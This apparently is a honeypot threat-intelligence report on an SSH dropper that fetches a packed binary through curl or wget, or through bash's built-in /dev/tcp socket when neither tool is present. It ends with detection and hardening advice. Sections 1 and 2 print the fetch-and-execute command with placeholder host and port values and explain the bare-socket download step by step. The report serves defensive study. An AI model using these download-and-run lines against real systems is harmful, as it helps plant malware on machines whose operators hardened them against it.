TI-2026-095A — The /dev/tcp Dropper: A Downloader That Needs No Downloader

Classification: HIGH · Forensic threat intelligence · Honeypot-derived · Series: The Bare-Socket Dropper

Most droppers have one weakness a defender can lean on: they need a way to pull the payload down. Strip curl and wget off a box and a whole class of loader scripts dies at the first line. This family was built for exactly that box. When the two download tools are gone, it falls back to a fetcher that ships inside the shell itself — bash's built-in /dev/tcp — and pulls the binary over a raw socket that no package removal can take away. Between 2026-04-10 and 2026-07-21 the LSN honeypot caught 17 variants of it, feeding from a dozen mostly-Chinese-cloud servers on high, forgettable ports. This is the technique, the fleet, and the one detection signature that survives IP rotation.

1. The Three-Stage Fetch

Every captured variant does the same thing after a successful SSH login: it tries to download a file called linux, three different ways, and stops at the first that works. Here is the shape of it, with the payload argument truncated:

nohup $SHELL -c "curl http://<IP>:<PORT>/linux -o /tmp/<rand>;
  if [ ! -f /tmp/<rand> ]; then wget http://<IP>:<PORT>/linux -O /tmp/<rand>; fi;
  if [ ! -f /tmp/<rand> ]; then
      exec 6<>/dev/tcp/<IP>/<PORT> && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/<rand> ;
      chmod +x /tmp/<rand> && /tmp/<rand> <BASE64_CONFIG…truncated> ;
  fi;
  echo 123456 > /tmp/.opass;
  chmod +x /tmp/<rand> && /tmp/<rand> <BASE64_CONFIG…truncated>" &

Read it as a fallback ladder:

• Stage 1 — curl. The normal case. If the box has curl, the file lands and the rest of the download logic is skipped.
• Stage 2 — wget. The if [ ! -f ] guard fires only when stage 1 produced no file. Most systems have one of curl or wget, so on a typical host the ladder stops here.
• Stage 3 — the bare socket. This is the interesting one, and the reason this family gets a dossier.

2. A Fetcher Made of Shell Built-ins

Stage three uses no external program at all:

exec 6<>/dev/tcp/<IP>/<PORT>     # open a TCP socket as file descriptor 6
echo -n 'GET /linux' >&6         # write a minimal HTTP/1.0 request into it
cat 0<&6 > /tmp/<rand>           # read the response body back out to disk

/dev/tcp/host/port is not a real device file. It is a pseudo-path bash interprets internally: opening it makes bash create a TCP connection and hand you a file descriptor for it. Nothing on disk, no library, no binary — the capability is compiled into the shell. So echo becomes the request writer and cat becomes the response reader, and a working HTTP fetch exists on a machine that has had every download utility deliberately removed.

That is the whole point of the design. "Remove curl and wget" is textbook host hardening; plenty of minimal containers and locked-down appliances ship without them on purpose. This dropper treats that hardening as a speed bump. The one requirement is that the login shell is bash (or another shell with the /dev/tcp feature) — and the script hedges even that by launching through $SHELL in the fallback forms and hard-coding bash -c in the others.

Why it matters for defenders. An egress or host policy built on the assumption that "malware needs curl or wget" has a hole the exact size of this technique. The bare-socket path is not exotic — it is one line of standard bash — and it is invisible to any control that watches for download binaries instead of watching for the behaviour.

3. One Family, Twelve Servers, Three Months

Pulling the /dev/tcp string across the honeypot's command history returns 17 distinct variants, active from 2026-04-10 to 2026-07-21, and the tradecraft barely moves across any of them:

• the payload path is always /linux;
• it is saved to a random name in /tmp, made executable, and run with a single long base64 string as its only argument;
• the run drops echo 123456 > /tmp/.opass;
• several command tails carry UPX signature bytes (#UPX!), so the fetched ELF is packed.

Two stylistic families appear. One leads with curl/wget and keeps the socket as a last resort; the other is pure bare-socket — nohup bash -c "exec 6<>/dev/tcp/…" with no download tool tried at all. Same conventions, same /tmp/.opass, same argv habit. This is one loader family from a shared builder, not a dozen unrelated scripts that happen to rhyme.

The download servers it feeds from:

Nine of the twelve are mainstream Chinese cloud and telecom — Alibaba (five), Tencent, Baidu, China Unicom. Every node serves on a high, non-standard port (6429, 9356, 60100, 60143, …), never 80 or 443, so the fetch does not blend with ordinary web traffic and is trivially greppable in netflow. This is rented bulk elastic compute, not bulletproof hosting — which is good news for remediation: takedown runs through Alibaba's and Tencent's abuse desks, not through a provider that ignores complaints. The lone Verizon Business node stands out among the cloud ranges; it reads as a compromised US host repurposed for staging rather than a rented server (inferred).

4. The Config Rides in the Argument

The loader is never handed a config file. Its settings arrive as a single ~300–600 character base64 string passed as argv, resolved at exec time and gone the moment the process exits. Contrast that with /tmp/.opass, which the script deliberately writes to disk: the operator persists the trivial marker and keeps the meaningful config in memory only.

That is a small, deliberate anti-forensic choice. A responder who arrives after the process has died can grep /tmp all day and find .opass and an executable with a random name — but not the key or C2 parameters that were only ever an argument to a process that is no longer running. (The binary itself was not retained, so this reading is inferred from the delivery, not confirmed against the loader's parsing — see §6.)

5. The Counter-Narrative

Steelman: "This is just another off-the-shelf SSH botnet loader. /dev/tcp is a decade-old trick documented in every pentest cheat-sheet; the servers are throwaway cloud VMs; you never even caught the binary. There is no story here."

Every clause of that is partly true, and the finding survives all of it:

• The technique being old does not make it handled. /dev/tcp is well documented — and still routinely un-covered by controls that watch for curl/wget. A known bypass that defenders have not actually closed is worth naming precisely because it is boring enough to be ignored.
• Throwaway cloud VMs are the point, not a weakness in the analysis. The disposability of the fleet is exactly why the durable handle has to be the behaviour — the bash-socket idiom — and not the IPs. The IP list rots; the exec 6<>/dev/tcp pattern does not.
• Not catching the binary bounds the claim, and we bound it. This dossier does not name a malware family or describe the loader's capabilities, because we did not retain it. What we document — the delivery technique, the twelve-node fleet, the uniform tradecraft, the detection signature — we hold in full from the command telemetry.

What is not claimed: a named actor (the operator is unattributed — MEDIUM that the shared tradecraft is one tightly-coupled operation rather than several customers of one kit), and any statement about what /linux does once it runs.

Confidence: HIGH that this is one loader family delivered by a /dev/tcp fallback fetcher across a dozen mostly-Chinese-cloud nodes over three months; MEDIUM on single-operator identity; the payload's behaviour is out of scope.

6. What Our Systems Actually Hold

Honesty about scope. The honeypot logged the fetch commands in full, across 17 variants and three months. It did not capture the /linux payload — Cowrie recorded the download instruction but not the bytes — and the download servers never opened an SSH session against our sensor, so they exist in our data only as referenced infrastructure (they resolve cleanly in WHOIS/RDAP but carry no honeypot session history of their own). We therefore report the technique and the fleet, and we decline to guess at the binary. That gap is stated, not papered over.

7. Defence Response

• Detect the idiom, not the IP. The literal sequence exec 6<>/dev/tcp/ followed by echo -n 'GET /…' >&6 and cat 0<&6 in command auditing (auditd execve, shell history, EDR command capture) is almost never legitimate on a server. Paired with a write to a random /tmp name, a chmod +x, and /tmp/.opass, it is a near-zero-false-positive alert. This survives the fleet rotating every IP it owns.
• Harden past the assumption. Removing curl/wget is worth doing — but it is not a control against this family. Pair it with egress allow-listing (a server that has no business making arbitrary outbound TCP to a random high port should not be able to), because the bare socket is only useful if it can reach the download node.
• Block the fleet, report the hosts. The twelve IP:port pairs in §3 are network IOCs; the high non-standard ports make them cheap to match. Because the nodes are mainstream cloud, abuse reports to Alibaba, Tencent, Baidu and China Unicom are a real remediation path, not a dead letter.
• And, as always here: these droppers only ever run because an SSH login succeeded first. root with a guessable password remains the front door for every one of them.

8. Investigation Metadata

Cristian Lișneanu · shuffle-on.com · Threat Intelligence